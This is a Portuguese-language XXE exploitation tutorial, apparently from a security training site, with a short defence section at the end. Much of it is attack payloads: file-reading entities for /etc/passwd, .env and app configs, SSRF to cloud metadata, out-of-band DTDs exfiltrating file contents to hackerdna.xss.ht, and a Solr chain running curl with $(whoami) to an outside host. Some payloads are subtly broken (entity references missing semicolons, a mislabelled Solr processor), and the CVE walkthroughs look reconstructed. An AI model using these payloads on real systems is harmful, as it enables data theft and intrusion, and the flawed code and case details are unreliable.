Injeção de entidades externas XML
Explorar parsers XML para acessar arquivos e redes internas
O que você vai descobrir
🎯 Por que isso importa
A injeção de entidades externas XML tornou-se criticamente importante à medida que aplicações modernas dependem cada vez mais de XML para comunicações de API, arquivos de configuração e processamento de documentos. Vulnerabilidades XXE permitem que atacantes leiam arquivos locais, realizem varredura de rede interna e até mesmo alcancem execução remota de código através da exploração de parsers XML. Esta vulnerabilidade é particularmente perigosa em ambientes empresariais onde XML é extensivamente usado para APIs SOAP, workflows de documentos e integração de dados.
🔍 O que você vai aprender
Você entenderá como identificar vulnerabilidades XXE em endpoints de processamento XML e explorar referências de entidades externas para divulgação de arquivos e ataques SSRF. Isso inclui criar DTDs maliciosos para exfiltração de dados out-of-band, explorar cenários XXE cego e encadear XXE com outras vulnerabilidades — as mesmas técnicas sistemáticas usadas por especialistas em segurança para avaliar aplicações e APIs baseadas em XML.
🚀 Sua primeira vitória
Nos próximos 15 minutos, você explorará com sucesso uma vulnerabilidade XXE para ler arquivos de sistema sensíveis do sistema de arquivos do servidor, demonstrando como processamento XML aparentemente inofensivo pode levar a divulgação completa de informações e potencial comprometimento do sistema.
🔧 Experimente agora
Teste exploração XXE básica contra um endpoint de processamento XML
# Payload XXE básico para divulgação de arquivos
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe</root>
# Teste em endpoint de upload XML ou API
POST /api/xml-processor HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/hostname">
]>
<data>&file</data>
# XXE out-of-band para cenários cegos
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://<attacker>/malicious.dtd">
%dtd;
]>
<data>&send</data>
# Acesso a arquivos Windows
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
Você verá: Como parsers XML processam entidades externas e potencialmente expõem arquivos locais ou fazem requisições de rede em nome do servidor. Isso demonstra por que configuração adequada de parsing XML é crítica para segurança de aplicações.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Comportamento de parsers XML e processamento de entidades
- Manipulação de DTD (Document Type Definition)
- Exploração de referências de entidades externas
- Técnicas de detecção e exploração de XXE cego
🔍 Habilidades avançadas
- Métodos de exfiltração de dados out-of-band
- Encadeamento de XXE com SSRF e inclusão de arquivos
- Exploração de APIs SOAP e uploads XML
- Implementação segura de parsing XML
Entendendo vulnerabilidades XXE
XXE ocorre quando parsers XML processam referências de entidades externas sem controles de segurança adequados
Vulnerabilidades de entidades externas XML existem por causa de como parsers XML são projetados para funcionar. Quando você entende a arquitetura do XML, verá por que esta vulnerabilidade é tão poderosa e difundida em aplicações empresariais.
Como o parsing XML realmente funciona
Documentos XML podem incluir Document Type Definitions (DTDs) que definem a estrutura e regras para o documento. Esses DTDs suportam "entidades" - essencialmente variáveis que podem conter texto, números ou referências a recursos externos. Pense nas entidades como marcadores que o parser XML substituirá pelo conteúdo real ao processar o documento.
Aqui está o problema crítico de segurança:
Parsers XML, por padrão, buscam e processam automaticamente entidades externas. Isso significa que se uma entidade referencia um caminho de arquivo como
file:///etc/passwd
ou uma URL como
http://internal-server/admin
, o parser tentará ler esse arquivo ou fazer essa requisição HTTP em nome da aplicação.
Este comportamento transforma cada endpoint de processamento XML em uma potencial vulnerabilidade de divulgação de arquivos e falsificação de requisição do lado do servidor. A especificação XML foi projetada para casos de uso legítimos como incluir conteúdo compartilhado ou referenciar schemas externos, mas atacantes exploram essa mesma funcionalidade para propósitos maliciosos.
Por que XXE é tão perigoso em ambientes empresariais
Aplicações empresariais usam extensivamente XML para troca de dados, gerenciamento de configuração e comunicações de API. Serviços web SOAP, imports de configuração, sistemas de processamento de documentos e plataformas de integração de dados dependem de parsing XML. Cada um desses representa uma potencial superfície de ataque.
Quando você explora XXE com sucesso, você não está apenas lendo arquivos - você está aproveitando as próprias capacidades de processamento XML da aplicação para realizar ações que parecem legítimas para sistemas de monitoramento de segurança. As requisições vêm do próprio servidor de aplicação, frequentemente contornando controles de segurança de rede e aparecendo nos logs como comportamento normal da aplicação.
É por isso que XXE tem sido responsável por algumas das violações de dados e comprometimentos de redes internas mais significativos em segurança empresarial. Você está essencialmente transformando a aplicação em seu proxy para acessar recursos internos e dados sensíveis.
Pontos de entrada comuns
Onde vulnerabilidades XXE tipicamente aparecem
Endpoints de API SOAP
Uploads de arquivos XML
Processamento de feeds RSS/Atom
Uploads de imagens SVG
Processamento de documentos Office
Imports de arquivos de configuração
Vetores de ataque
Métodos usados para explorar XXE
Ataques de divulgação de arquivos
SSRF via entidades externas
Negação de serviço (billion laughs)
Exfiltração de dados out-of-band
Exploração de XXE cego
Execução remota de código
Potencial de impacto
O que atacantes podem alcançar
Divulgação de código fonte
Roubo de arquivos de configuração
Varredura de rede interna
Acesso a metadados AWS
Exposição de credenciais de banco de dados
Escalação de privilégios
Ferramentas e técnicas
Exploração XXE bem-sucedida combina compreensão do comportamento de parsers XML com as ferramentas e metodologias corretas. Avaliações de segurança dependem tanto de capacidades de detecção automatizada quanto de técnicas de teste manual para descobrir o escopo completo das vulnerabilidades XXE. Você aprenderá a abordagem padrão da indústria que especialistas em segurança usam diariamente.
A metodologia de teste XXE
Profissionais de segurança seguem uma abordagem sistemática para testes XXE que progride da descoberta à exploração. Esta metodologia garante cobertura abrangente e maximiza a chance de encontrar vulnerabilidades complexas que varreduras automatizadas poderiam perder.
Passo 1: Reconhecimento - Identificar todos os endpoints de processamento XML através de análise de requisições HTTP, procurando por headers Content-Type, funcionalidade de upload de arquivos e documentação de API que menciona suporte XML.
Passo 2: Detecção básica - Testar com referências de entidades para confirmar que o parser processa entidades externas. Isso estabelece se a vulnerabilidade existe antes de tentar exploração mais complexa.
Passo 3: Desenvolvimento de exploração - Criar payloads direcionados baseados na stack tecnológica da aplicação, sistema operacional e arquivos específicos que você deseja acessar.
Passo 4: Avaliação de impacto - Determinar o escopo completo de acesso possível através da vulnerabilidade, incluindo divulgação de arquivos, capacidades SSRF e potencial para escalação de privilégios ou execução remota de código.
Burp Suite: teste XXE
Burp Suite é o que a maioria das equipes de segurança usa para testes XXE, utilizado por profissionais de segurança em todo o mundo para testes de segurança abrangentes. Entender como usar Burp Suite efetivamente para testes XXE coloca você na mesma categoria de testadores de penetração especialistas que conduzem avaliações de segurança para grandes corporações.
Por que Burp Suite se destaca em testes XXE
Burp Suite fornece várias vantagens chave para testes XXE que o tornam a escolha preferida de especialistas em segurança. A plataforma integra múltiplas abordagens de teste em uma única interface, permitindo transição perfeita da descoberta à exploração à avaliação de impacto.
Burp Proxy captura todo o tráfego HTTP, permitindo identificar endpoints de processamento XML que você poderia perder de outra forma. Muitas aplicações usam XML em lugares inesperados - submissões de formulários, chamadas de API ou uploads de arquivos - e Burp Proxy revela essas oportunidades.
Burp Repeater permite criação e teste preciso de payloads. Você pode modificar requisições XML em tempo real, testar diferentes referências de entidades e ver imediatamente os resultados. Este controle manual é essencial para entender exatamente como a aplicação alvo processa XML.
Burp Collaborator resolve o desafio de testes XXE cego. Quando aplicações não exibem diretamente conteúdo de arquivos nas respostas, Collaborator fornece um canal out-of-band para confirmar que entidades externas estão sendo processadas e para exfiltrar dados.
Workflow de teste XXE com Burp Suite passo a passo
# Passo 1: Configuração de proxy e captura de tráfego
# Configurar navegador para usar Burp Proxy (127.0.0.1:8080)
# Navegar na aplicação alvo enquanto Burp captura todas as requisições
# Procurar requisições com Content-Type: application/xml ou text/xml
# Passo 2: Identificar endpoints de processamento XML
# Revisar requisições capturadas no histórico do Proxy
# Buscar conteúdo XML nos corpos das requisições
# Anotar endpoints que aceitam uploads de arquivos
# Passo 3: Detecção XXE básica no Burp Repeater
# Clique direito em requisição XML capturada → Send to Repeater
# Modificar o XML para incluir uma referência de entidade externa
POST /api/process HTTP/1.1
Host: <target>
Content-Type: application/xml
Content-Length: 154
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
<user>&xxe</user>
<action>process</action>
</data>
# Passo 4: Analisar resposta para divulgação direta de arquivos
# Enviar requisição e examinar corpo da resposta
# Procurar conteúdo de arquivo na resposta (XXE direto)
# Verificar mensagens de erro que podem revelar caminhos
# Passo 5: Burp Collaborator para testes XXE cego
# Ir para Burp Collaborator client → Copy to clipboard
# Criar payload usando domínio do Collaborator
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://abcd1234efgh.burpcollaborator.net/xxe.dtd">
%dtd;
]>
<data>&send</data>
# Passo 6: Monitorar interações do Collaborator
# Retornar ao Collaborator client → Poll now
# Verificar lookups DNS ou requisições HTTP
# Confirma que entidades externas estão sendo processadas
# Passo 7: Exfiltração de dados via Collaborator
# Hospedar arquivo DTD malicioso no domínio do Collaborator
# Usar entidades de parâmetro para exfiltrar conteúdo de arquivos
# Exemplo de conteúdo DTD para exfiltração de dados:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://abcd1234efgh.burpcollaborator.net/exfil?data=%file;'>">
%eval;
# Passo 8: Testes automatizados com Burp Scanner
# Clique direito no alvo → Scan
# Habilitar verificações de scan específicas para XXE
# Revisar resultados do Scanner para vetores XXE adicionais
Dica de especialista: A abordagem integrada do Burp Suite significa que você pode descobrir vulnerabilidades XXE via Proxy, explorá-las manualmente no Repeater, confirmar ataques cegos com Collaborator e escalar testes com Scanner - tudo na mesma plataforma que especialistas em segurança usam para avaliações empresariais.
Técnicas de teste XXE manual
Técnicas de teste manual fornecem compreensão mais profunda do comportamento XXE e permitem detecção de vulnerabilidades complexas que ferramentas automatizadas podem perder.
Teste sistemático de payloads XXE
# Teste de divulgação de arquivos básico
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe</root>
# Acesso a arquivos de sistema Windows
<!ENTITY win SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
# Direcionamento de arquivos específicos da aplicação
<!ENTITY config SYSTEM "file:///var/www/html/config.php">
<!ENTITY env SYSTEM "file:///.env">
<!ENTITY db SYSTEM "file:///opt/app/database.yml">
# Exploração de wrapper PHP (se suportado)
<!ENTITY php SYSTEM "php://filter/convert.base64-encode/resource=index.php">
# SSRF via XXE
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY internal SYSTEM "http://internal-service:8080/admin">
# Exfiltração de dados out-of-band
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/xxe.dtd">
%dtd;
]>
<data>%send;</data>
# Conteúdo xxe.dtd para exfiltração de dados:
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://hackerdna.xss.ht/collect?data=%file;'>">
%eval;
Testes manuais permitem que especialistas em segurança entendam o comportamento da aplicação, testem casos extremos e desenvolvam estratégias de exploração direcionadas baseadas na implementação XML específica.
XXEinjector: automação especializada
XXEinjector é uma ferramenta Ruby especializada para automatizar exploração XXE. Embora não seja tão amplamente usada quanto Burp Suite, fornece automação dedicada para cenários XXE complexos e técnicas de exploração avançadas.
Exemplos de uso do XXEinjector
# Instalar XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
# Enumeração básica de arquivos
ruby XXEinjector.rb --host=<target> --path=/api/xml --file=/etc/passwd
# Enumeração de diretórios
ruby XXEinjector.rb --host=<target> --path=/upload --enumeration
# Testes out-of-band
ruby XXEinjector.rb --host=<target> --path=/process --oob=http --file=/var/www/html/config.php
# Testes de endpoint SOAP
ruby XXEinjector.rb --host=<target> --path=/soap/service --headers="SOAPAction: processData" --file=/etc/passwd
# Template de requisição personalizado
echo 'POST /api/data HTTP/1.1
Host: <target>
Content-Type: application/xml
XXEINJECTION' > request.txt
ruby XXEinjector.rb --host=<target> --file=/etc/passwd --path=/api/data --httpmethod=POST --xml=request.txt
XXEinjector fornece automação para cenários complexos mas requer compreensão dos fundamentos XXE e deve complementar, não substituir, técnicas de teste manual.
Cenários de ataque do mundo real
Estas vulnerabilidades XXE documentadas demonstram como falhas de processamento XML foram exploradas em aplicações reais, mostrando a abordagem sistemática que leva a descobertas e impactos significativos.
XXE do Google Toolbar Button Gallery (2014)
Pesquisadores de segurança da Detectify descobriram vulnerabilidades XXE no Google Toolbar Button Gallery que permitiam ler arquivos internos e realizar ataques SSRF contra a infraestrutura do Google. Os detalhes técnicos mostram exploração XXE sistemática contra sistemas empresariais.
# Passo 1: Identificar processamento XML do Google Toolbar Button Gallery
# Google permitia que usuários submetessem botões de toolbar via XML
# Endpoint: Interface de submissão do Google Toolbar Button Gallery
# Passo 2: Criar XML de botão de toolbar malicioso com XXE
# Formato padrão de botão de toolbar com payload XXE embutido
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE customButtons [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<customButtons>
<button>
<title>HackerDNA Button</title>
<description>&xxe</description>
<url>http://hackerdna.com</url>
</button>
</customButtons>
# Passo 3: Payload avançado para descoberta de infraestrutura Google
# Direcionar caminhos e arquivos de configuração específicos do Google
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY resolv SYSTEM "file:///etc/resolv.conf">
]>
<customButtons>
<button>
<title>System Info</title>
<description>&passwd</description>
<tooltip>&hosts</tooltip>
</button>
</customButtons>
# Passo 4: Exploração SSRF através de XXE
# Usar XXE para sondar serviços internos do Google
<!ENTITY ssrf SYSTEM "http://metadata.google.internal/computeMetadata/v1/">
<!ENTITY internal SYSTEM "http://169.254.169.254/latest/meta-data/">
# Passo 5: Exfiltração de dados out-of-band
# Para cenários onde resposta direta não está disponível
<?xml version="1.0"?>
<!DOCTYPE customButtons [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/google.dtd">
%dtd;
]>
<customButtons>
<button>
<title>%send;</title>
</button>
</customButtons>
# Conteúdo google.dtd:
<!ENTITY % eval "<!ENTITY % send SYSTEM 'http://hackerdna.xss.ht/exfil?data=%file;'>">
%eval;
Avaliação de impacto: A vulnerabilidade permitia ler arquivos de configuração sensíveis dos servidores de produção do Google e realizar reconhecimento de rede interna. Google rapidamente corrigiu o problema e implementou proteções XXE abrangentes em sua infraestrutura de processamento XML.
Apache Solr XXE para RCE (CVE-2017-12629)
A funcionalidade de parsing XML do Apache Solr continha vulnerabilidades XXE que podiam ser encadeadas para alcançar execução remota de código. CVE-2017-12629 demonstra escalação de XXE para comprometimento completo do sistema através de funcionalidades específicas da aplicação.
# Passo 1: Identificar endpoint de processamento XML do Solr
# Apache Solr aceita documentos XML para indexação
# Versões vulneráveis: 1.2 a 6.6.0 e 7.0.0 a 7.1.0
# Endpoint: http://<target>:8983/solr/<core>/update
# Passo 2: XXE básico para divulgação de arquivos
POST /solr/demo/update HTTP/1.1
Host: <target>:8983
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<add>
<doc>
<field name="id">&xxe</field>
<field name="title">XXE Test</field>
</doc>
</add>
# Passo 3: XXE avançado para acesso à configuração do Solr
# Direcionar arquivos de configuração e log específicos do Solr
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY config SYSTEM "file:///opt/solr/server/solr/configsets/_default/conf/solrconfig.xml">
<!ENTITY schema SYSTEM "file:///opt/solr/server/solr/demo/conf/schema.xml">
<!ENTITY logs SYSTEM "file:///opt/solr/server/logs/solr.log">
]>
<add>
<doc>
<field name="id">config_disclosure</field>
<field name="config">&config</field>
<field name="schema">&schema</field>
</doc>
</add>
# Passo 4: Escalação para RCE via manipulação de configuração
# Explorar API de atualização de configuração do Solr após reconhecimento XXE
POST /solr/demo/config HTTP/1.1
Content-Type: application/json
{
"add-updateprocessor": {
"name": "hdna-rce",
"class": "solr.RunExecutableListener",
"exe": "/bin/bash",
"args": ["-c", "curl http://hackerdna.com/callback?data=$(whoami)"]
}
}
# Passo 5: Disparar RCE através de atualização de documento
POST /solr/demo/update?processor=hdna-rce HTTP/1.1
Content-Type: application/xml
<add><doc><field name="id">rce-test</field></doc></add>
# Resultado: Execução remota de código alcançada através de descoberta XXE
# seguida de manipulação de configuração do Solr
Impacto CVE: CVE-2017-12629 afetou milhares de instalações Apache Solr em todo o mundo. A vulnerabilidade demonstrou como XXE pode ser encadeado com funcionalidades específicas da aplicação para alcançar execução remota de código, levando a comprometimento completo do sistema. Apache lançou correções e diretrizes de segurança para tratar este problema crítico.
Divulgação de informações XXE IBM WebSphere (CVE-2018-1567)
IBM WebSphere Application Server continha vulnerabilidades XXE em seus componentes de processamento XML que permitiam atacantes ler arquivos arbitrários do servidor. CVE-2018-1567 mostra como servidores de aplicação empresariais podem ser vulneráveis a ataques XXE através de endpoints de serviços web.
# Passo 1: Identificar endpoint de serviço web WebSphere
# IBM WebSphere processa requisições SOAP e REST com XML
# Versões vulneráveis: 7.0, 8.0, 8.5 e 9.0
# Endpoint: /AppName/services/ServiceName
# Passo 2: Criar requisição SOAP maliciosa com XXE
POST /MyApp/services/DataProcessor HTTP/1.1
Host: <target>:9080
Content-Type: text/xml; charset=utf-8
SOAPAction: "processData"
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ns:processData xmlns:ns="http://hackerdna.com/webservice">
<ns:input>&xxe</ns:input>
</ns:processData>
</soapenv:Body>
</soapenv:Envelope>
# Passo 3: Direcionar arquivos de configuração específicos do WebSphere
<!ENTITY config SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/nodes/Node01/servers/server1/server.xml">
<!ENTITY security SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY logs SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/server1/SystemOut.log">
# Passo 4: Explorar para divulgação de dados sensíveis
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY wsconfig SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/applications/MyApp.ear/deployments/MyApp/META-INF/application.xml">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns:getData>
<ns:config>&wsconfig</ns:config>
</ns:getData>
</soapenv:Body>
</soapenv:Envelope>
# Passo 5: Exfiltração out-of-band para cenários cegos
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY % file SYSTEM "file:///opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/cells/Node01Cell/security.xml">
<!ENTITY % dtd SYSTEM "http://hackerdna.xss.ht/websphere.dtd">
%dtd;
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns:probe>%send;</ns:probe>
</soapenv:Body>
</soapenv:Envelope>
Impacto empresarial: CVE-2018-1567 afetou deployments empresariais executando IBM WebSphere, potencialmente expondo dados de configuração sensíveis e segredos de aplicação. IBM lançou atualizações de segurança e recomendou desabilitar processamento de entidades externas em parsers XML como estratégia principal de mitigação.
Contramedidas defensivas
Proteger aplicações contra ataques XXE requer implementar múltiplas camadas de defesa que trabalham juntas para prevenir processamento de entidades externas e limitar potencial impacto de ataques. Estas estratégias comprovadas pela indústria formam a base do tratamento XML seguro em ambientes de produção.
Defesa principal: desabilitar processamento de entidades externas
A proteção XXE mais eficaz é desabilitar completamente o processamento de DTD e resolução de entidades externas em parsers XML. Esta abordagem elimina a causa raiz impedindo o parser de processar qualquer referência de entidade externa, independentemente de sua fonte ou destino.
- Desabilitar processamento de DTD inteiramente - Configurar parsers XML para rejeitar qualquer documento contendo declarações DTD
- Bloquear resolução de entidades externas - Impedir parsers de buscar conteúdo de URLs externas ou caminhos de arquivo
- Desabilitar expansão de entidades de parâmetro - Bloquear processamento de entidades de parâmetro que habilitam ataques XXE complexos
- Remover suporte a XInclude - Desabilitar funcionalidade XInclude que pode contornar restrições de entidades externas
- Impor padrões seguros - Garantir que todos os componentes de processamento XML usem configurações seguras por padrão
Estratégias de implementação
Prevenção XXE bem-sucedida requer implementação sistemática em todos os componentes de processamento XML e aplicação consistente de políticas de segurança ao longo do ciclo de desenvolvimento.
- Bibliotecas de parsing XML centralizadas - Usar um único componente de parsing XML bem configurado em toda a aplicação
- Validação e sanitização de entrada - Validar estrutura XML e rejeitar documentos contendo padrões suspeitos
- Atualizações regulares de bibliotecas - Manter bibliotecas de parsing XML atualizadas com os patches de segurança mais recentes
- Gerenciamento de configuração - Manter configurações de parser XML seguras através de processos de deployment automatizados
- Treinamento e diretrizes para desenvolvedores - Garantir que equipes de desenvolvimento entendam riscos XXE e práticas de codificação segura
Abordagens de defesa em profundidade
Múltiplas camadas de segurança fornecem proteção abrangente contra ataques XXE, garantindo que se um mecanismo de defesa falhar, outros continuem fornecendo proteção contra tentativas potenciais de exploração.
- Filtragem de saída de rede - Bloquear conexões de saída de servidores de aplicação para prevenir exfiltração de dados out-of-band
- Controles de acesso ao sistema de arquivos - Usar containerização, jails chroot ou princípios de menor privilégio para limitar acesso ao sistema de arquivos
- Proteção de metadados de nuvem - Bloquear acesso a serviços de metadados de nuvem no nível de rede (169.254.169.254)
- Segmentação de rede interna - Isolar sistemas de processamento XML de recursos internos sensíveis e bancos de dados
- Monitoramento e detecção - Implementar logging e alertas para padrões incomuns de processamento XML e requisições externas
- Firewalls de aplicação - Implantar regras WAF para detectar e bloquear padrões de ataque XXE em requisições HTTP
🎯 Você domina XXE!
Você agora entende como explorar parsers XML para acessar arquivos e redes internas através de injeção de entidades externas XML. Você pode criar DTDs maliciosos, realizar exfiltração de dados out-of-band e encadear XXE com outras vulnerabilidades usando as mesmas técnicas sistemáticas que especialistas em segurança usam para avaliar aplicações e APIs baseadas em XML.
Pronto para proteger aplicações web modernas contra todas as vulnerabilidades críticas